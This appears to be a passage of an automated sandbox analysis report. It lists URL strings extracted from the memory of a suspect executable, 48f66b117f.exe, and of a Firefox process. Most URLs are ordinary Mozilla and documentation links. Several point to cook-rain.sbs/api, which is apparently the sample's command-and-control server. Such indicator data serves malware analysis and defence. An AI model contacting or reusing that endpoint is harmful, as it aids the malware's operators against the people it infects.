Source: 48f66b117f.exe, 0000000E.00000003.3133123895.0000000005B95000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3353725558.0000000005D69000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3354939796.0000000005D69000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3579144635.0000025DFEAAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3240039101.0000025DFEAB5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3579144635.0000025DFEA43000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3634301319.0000025DFFC65000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: firefox.exe, 00000021.00000002.3530819711.0000025D8E9DB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3330345166.0000025D8E9DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: 48f66b117f.exe, 0000000E.00000003.3186352844.00000000014FE000.00000004.00000020.00020000.00000000.sdmp, 48f66b117f.exe, 0000000E.00000003.3185032296.00000000014FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sb
Source: 48f66b117f.exe, 0000000E.00000003.3335440056.00000000014DC000.00000004.00000020.00020000.00000000.sdmp, 48f66b117f.exe, 0000000E.00000003.3160308843.00000000014FC000.00000004.00000020.00020000.00000000.sdmp, 48f66b117f.exe, 0000000E.00000003.3160063593.00000000014F8000.00000004.00000020.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3319787378.000000000168E000.00000004.00000020.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3240729264.00000000016A0000.00000004.00000020.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3240607983.000000000169E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/
Source: 48f66b117f.exe, 0000000E.00000003.3186352844.00000000014FE000.00000004.00000020.00020000.00000000.sdmp, 48f66b117f.exe, 0000000E.00000003.3214131073.00000000014F6000.00000004.00000020.00020000.00000000.sdmp, 48f66b117f.exe, 0000000E.00000003.3160308843.00000000014FC000.00000004.00000020.00020000.00000000.sdmp, 48f66b117f.exe, 0000000E.00000003.3160063593.00000000014F8000.00000004.00000020.00020000.00000000.sdmp, 48f66b117f.exe, 0000000E.00000003.3333578258.00000000014F7000.00000004.00000020.00020000.00000000.sdmp, 48f66b117f.exe, 0000000E.00000003.3185032296.00000000014FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/2
Source: 48f66b117f.exe, 00000010.00000003.3355918791.000000000168E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/F
Source: 48f66b117f.exe, 00000010.00000003.3319787378.000000000168E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/Z
Source: 48f66b117f.exe, 0000000E.00000003.3078228190.00000000014EA000.00000004.00000020.00020000.00000000.sdmp, 48f66b117f.exe, 0000000E.00000003.3078351973.00000000014EC000.00000004.00000020.00020000.00000000.sdmp, 48f66b117f.exe, 0000000E.00000003.3337363663.00000000014A8000.00000004.00000020.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3352865445.0000000005D6D000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3319464479.0000000005D6C000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3353725558.0000000005D6D000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3311098031.0000000005D69000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3271293801.0000000005D6E000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3355918791.000000000168E000.00000004.00000020.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3319092456.0000000005D69000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3321717183.0000000005D6F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/api
Source: 48f66b117f.exe, 00000010.00000003.3319787378.000000000168E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/api?
Source: 48f66b117f.exe, 0000000E.00000003.3335440056.00000000014DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apiP
Source: 48f66b117f.exe, 00000010.00000003.3319464479.0000000005D6C000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3311098031.0000000005D69000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3319092456.0000000005D69000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3321717183.0000000005D6F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apiTOuMVY
Source: 48f66b117f.exe, 00000010.00000003.3397717298.00000000016A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apic
Source: 48f66b117f.exe, 00000010.00000003.3271293801.0000000005D6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apic/xgEs2
Source: 48f66b117f.exe, 00000010.00000003.3352865445.0000000005D6D000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3353725558.0000000005D6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apigsV
Source: 48f66b117f.exe, 00000010.00000003.3397717298.00000000016A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apis/
Source: 48f66b117f.exe, 0000000E.00000003.3337363663.00000000014A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apiup
Source: 48f66b117f.exe, 00000010.00000003.3398173438.000000000168E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/b
Source: 48f66b117f.exe, 00000010.00000003.3319787378.000000000168E000.00000004.00000020.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3355918791.000000000168E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/e
Source: 48f66b117f.exe, 00000010.00000003.3355918791.000000000168E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/l
Source: 48f66b117f.exe, 0000000E.00000003.3155271254.0000000005C3D000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 0000000E.00000003.3156435438.0000000005C46000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 0000000E.00000003.3332132180.0000000005C43000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 0000000E.00000003.3155868700.0000000005C42000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 0000000E.00000003.3204620852.0000000005C46000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 0000000E.00000003.3185118169.0000000005C46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs:443/api
Source: firefox.exe, 00000021.00000002.3545267235.0000025D93303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crbug.com/993268
Source: 472fe34b96.exe, 0000000D.00000003.2939277536.0000000007A92000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/alt-svc.html
Source: 472fe34b96.exe, 0000000D.00000003.2939277536.0000000007A92000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/hsts.html
Source: 472fe34b96.exe, 0000000D.00000003.2939277536.0000000007A92000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/http-cookies.html
Source: firefox.exe, 00000021.00000002.3491733708.0000025D8CBEB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTab
Source: firefox.exe, 00000021.00000002.3491733708.0000025D8CBAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTabMozRequestFullSc
Source: firefox.exe, 00000021.00000002.3491733708.0000025D8CBEB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCapture
Source: firefox.exe, 00000021.00000002.3491733708.0000025D8CBEB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCapture
Source: firefox.exe, 00000021.00000002.3491733708.0000025D8CBAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCaptureElementReleaseCaptureWarningElem
Source: firefox.exe, 00000021.00000002.3491733708.0000025D8CBEB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryption
Source: firefox.exe, 00000021.00000002.3491733708.0000025D8CBAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#EncryptionPreventDefaultFromP
Source: firefox.exe, 00000021.00000002.3491733708.0000025D8CBEB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsing
Source: firefox.exe, 00000021.00000002.3545267235.0000025D93303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/API/ElementCSSInlineStyle/style#setting_styles)
Source: firefox.exe, 00000021.00000002.3545267235.0000025D93303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for-await...of
Source: firefox.exe, 00000021.00000002.3545267235.0000025D93303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl
Source: firefox.exe, 00000021.00000002.3374269106.0000025D87890000.00000002.00000001.00040000.0000001D.sdmp, firefox.exe, 00000021.00000002.3579144635.0000025DFEA43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com
Source: firefox.exe, 00000021.00000002.3551113866.0000025D936C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/
Source: firefox.exe, 00000021.00000002.3551113866.0000025D936C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/?t=ffab&q=
Source: 48f66b117f.exe, 0000000E.00000003.3078826411.0000000005BD9000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 0000000E.00000003.3078683427.0000000005BDB000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3240891439.0000000005DAB000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3241259656.0000000005DA9000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3241712800.0000000005DA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 48f66b117f.exe, 0000000E.00000003.3078826411.0000000005BD9000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 0000000E.00000003.3078683427.0000000005BDB000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3240891439.0000000005DAB000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3241259656.0000000005DA9000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3241712800.0000000005DA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 48f66b117f.exe, 0000000E.00000003.3078826411.0000000005BD9000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 0000000E.00000003.3078683427.0000000005BDB000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3240891439.0000000005DAB000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3241259656.0000000005DA9000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3241712800.0000000005DA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 00000021.00000002.3397930986.0000025D8B300000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/y
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF872000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3381022150.0000025D8A490000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 00000021.00000002.3579144635.0000025DFEA54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%sz
Source: firefox.exe, 00000021.00000002.3579144635.0000025DFEA54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%szw
Source: firefox.exe, 00000021.00000002.3374269106.0000025D87890000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://ebay.com
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF872000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3381022150.0000025D8A490000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%shttps://outlook.live.com/default.aspx?rru=compose&
Source: firefox.exe, 00000021.00000002.3491733708.0000025D8CBAF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3491733708.0000025D8CBEB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://extensionworkshop.com/documentation/publish/self-distribution/
Source: firefox.exe, 00000021.00000003.3331251111.0000025D8E96D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3554169471.0000025D9545F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3579144635.0000025DFEA43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 00000021.00000002.3456532946.0000025D8BD03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/673d2808-e5d8-41b9-957
Source: firefox.exe, 00000021.00000002.3456532946.0000025D8BD03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/706c7a85-cf23-442e-8a9
Source: firefox.exe, 00000021.00000002.3393387292.0000025D8AE8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/performance/scroll-linked_effects.html
Source: firefox.exe, 00000021.00000002.3374269106.0000025D87890000.00000002.00000001.00040000.0000001D.sdmp, firefox.exe, 00000021.00000002.3612854721.0000025DFF824000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/remote/Security.html
Source: firefox.exe, 00000021.00000002.3374269106.0000025D87890000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF8AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 00000021.00000002.3374269106.0000025D87890000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/recordsm
Source: firefox.exe, 00000021.00000002.3374269106.0000025D87890000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/recordsmr
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF872000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3374269106.0000025D87890000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF8AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF8AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/recordshttps
Source: firefox.exe, 00000021.00000002.3374269106.0000025D87890000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/recordsi
Source: firefox.exe, 00000021.00000002.3374269106.0000025D87890000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://fpn.firefox.com
Source: firefox.exe, 00000021.00000003.3331251111.0000025D8E96D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3554169471.0000025D9545F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3579144635.0000025DFEA43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF8DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3331251111.0000025D8E927000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF8DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3331251111.0000025D8E927000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF824000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3331251111.0000025D8E927000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 00000021.00000002.3579144635.0000025DFEA43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4
Source: firefox.exe, 00000021.00000002.3579144635.0000025DFEA43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtab
Source: firefox.exe, 00000021.00000002.3536912868.0000025D8EC03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtabL
Source: firefox.exe, 00000021.00000002.3579144635.0000025DFEA43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtab
Source: firefox.exe, 00000021.00000002.3536912868.0000025D8EC03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtabC
Source: firefox.exe, 00000021.00000002.3579144635.0000025DFEA43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtab
Source: firefox.exe, 00000021.00000002.3536912868.0000025D8EC03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtabA
Source: firefox.exe, 00000021.00000002.3579144635.0000025DFEA43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtab
Source: firefox.exe, 00000021.00000002.3536912868.0000025D8EC03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtabE
Source: firefox.exe, 00000021.00000002.3579144635.0000025DFEA43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtab
Source: firefox.exe, 00000021.00000002.3536912868.0000025D8EC03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtabG
Source: firefox.exe, 00000021.00000002.3579144635.0000025DFEA43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab
Source: firefox.exe, 00000021.00000002.3536912868.0000025D8EC03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab?
Source: firefox.exe, 00000021.00000002.3579144635.0000025DFEA43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtab
Source: firefox.exe, 00000021.00000002.3536912868.0000025D8EC03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtabN
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF8DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3331251111.0000025D8E927000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 00000021.00000003.3331251111.0000025D8E96D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tabL
Source: firefox.exe, 00000021.00000002.3579144635.0000025DFEA43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtab
Source: firefox.exe, 00000021.00000002.3536912868.0000025D8EC03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtabI
Source: firefox.exe, 00000021.00000002.3579144635.0000025DFEA43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more
Source: firefox.exe, 00000021.00000002.3536912868.0000025D8EC03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more/
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF8DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3331251111.0000025D8E927000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 00000021.00000003.3331251111.0000025D8E96D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsS
Source: firefox.exe, 00000021.00000003.3331251111.0000025D8E96D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsS7
Source: firefox.exe, 00000021.00000003.3331251111.0000025D8E96D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=basic
Source: firefox.exe, 00000021.00000002.3661948648.0000025DFFE03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/
Source: firefox.exe, 00000021.00000002.3545267235.0000025D93303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/google/closure-compiler/issues/3177
Source: firefox.exe, 00000021.00000002.3534420467.0000025D8EB79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query-all.ts
Source: firefox.exe, 00000021.00000002.3534420467.0000025D8EB79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query.ts
Source: firefox.exe, 00000021.00000002.3545267235.0000025D93303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/issues/1266
Source: firefox.exe, 00000021.00000002.3545267235.0000025D93303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/microsoft/TypeScript/issues/338).
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF872000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3243738761.0000025D8AB10000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3397930986.0000025D8B300000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshotsshims/google-analytics-ecommerce-plugin.jsexperiments
Source: firefox.exe, 00000021.00000002.3530819711.0000025D8E9DB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3330345166.0000025D8E9DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/blob/master/css-grid-2/MASONRY-EXPLAINER.md
Source: firefox.exe, 00000021.00000002.3530819711.0000025D8E9DB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3330345166.0000025D8E9DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/issues/4650
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF824000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/zertosh/loose-envify)
Source: firefox.exe, 00000021.00000002.3374269106.0000025D87890000.00000002.00000001.00040000.0000001D.sdmp, firefox.exe, 00000021.00000002.3579144635.0000025DFEA43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com
Source: firefox.exe, 00000021.00000002.3530819711.0000025D8E9DB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3330345166.0000025D8E9DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gpuweb.github.io/gpuweb/
Source: firefox.exe, 00000021.00000002.3634301319.0000025DFFC65000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 00000021.00000002.3579144635.0000025DFEA43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 00000021.00000003.3331251111.0000025D8E96D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submits
Source: firefox.exe, 00000021.00000002.3545267235.0000025D93303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://infra.spec.whatwg.org/#ascii-whitespace
Source: firefox.exe, 00000021.00000002.3548939455.0000025D935E2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3329512763.0000025D935E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema
Source: firefox.exe, 00000021.00000002.3545267235.0000025D93303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/libraries/standalone-templates/#rendering-lit-html-templates
Source: firefox.exe, 00000021.00000002.3545267235.0000025D93303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/directives/#stylemap
Source: firefox.exe, 00000021.00000002.3545267235.0000025D93303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/expressions/#child-expressions)
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF8DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF8DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%primeBackground/extension.term
Source: firefox.exe, 00000021.00000002.3440396201.0000025D8BAAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3416033420.0000025D8B974000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=7e40f68c-7938-4c5d-9f95-e61647c213eb
Source: firefox.exe, 00000021.00000002.3512613594.0000025D8E225000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: firefox.exe, 00000021.00000002.3512613594.0000025D8E225000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com
